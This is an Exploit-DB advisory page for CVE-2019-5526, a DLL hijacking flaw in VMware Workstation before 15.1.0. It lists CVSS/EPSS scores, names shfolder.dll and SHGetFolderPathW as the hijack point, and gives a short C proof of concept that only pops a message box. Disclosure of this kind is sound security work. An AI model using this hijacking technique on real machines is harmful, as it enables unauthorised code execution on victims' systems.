VMware Workstation 15.1.0 - DLL Hijacking

2019-05-1600:00:00

Miguel Mendez Z. & Claudio Cortes C.

www.exploit-db.com

134

9.3 High

CVSS2

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:M/Au:N/C:C/I:C/A:C

7.8 High

CVSS3

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

0.002 Low

EPSS

Percentile

60.6%

JSON

#---------------------------------------------------------
# Title: VMware Workstation DLL hijacking < 15.1.0
# Date: 2019-05-14
# Author: Miguel Mendez Z. & Claudio Cortes C.
# Team: www.exploiting.cl
# Vendor: https://www.vmware.com
# Version: VMware Workstation Pro / Player (Workstation)
# Tested on: Windows Windows 7_x86/7_x64 [eng]
# Cve: CVE-2019-5526
#---------------------------------------------------------


Description:

VMware Workstation contains a DLL hijacking issue because some DLL.


DLL Hijacking: shfolder.dll
Hooking: SHGetFolderPathW()

------Code_Poc-------
#include "dll.h"
#include <windows.h>

DLLIMPORT void SHGetFolderPathW()
{
MessageBox(0, "s1kr10s", "VMWare-Poc", MB_ICONINFORMATION);
exit(0);
}

--------------------------


https://www.vmware.com/security/advisories/VMSA-2019-0007.html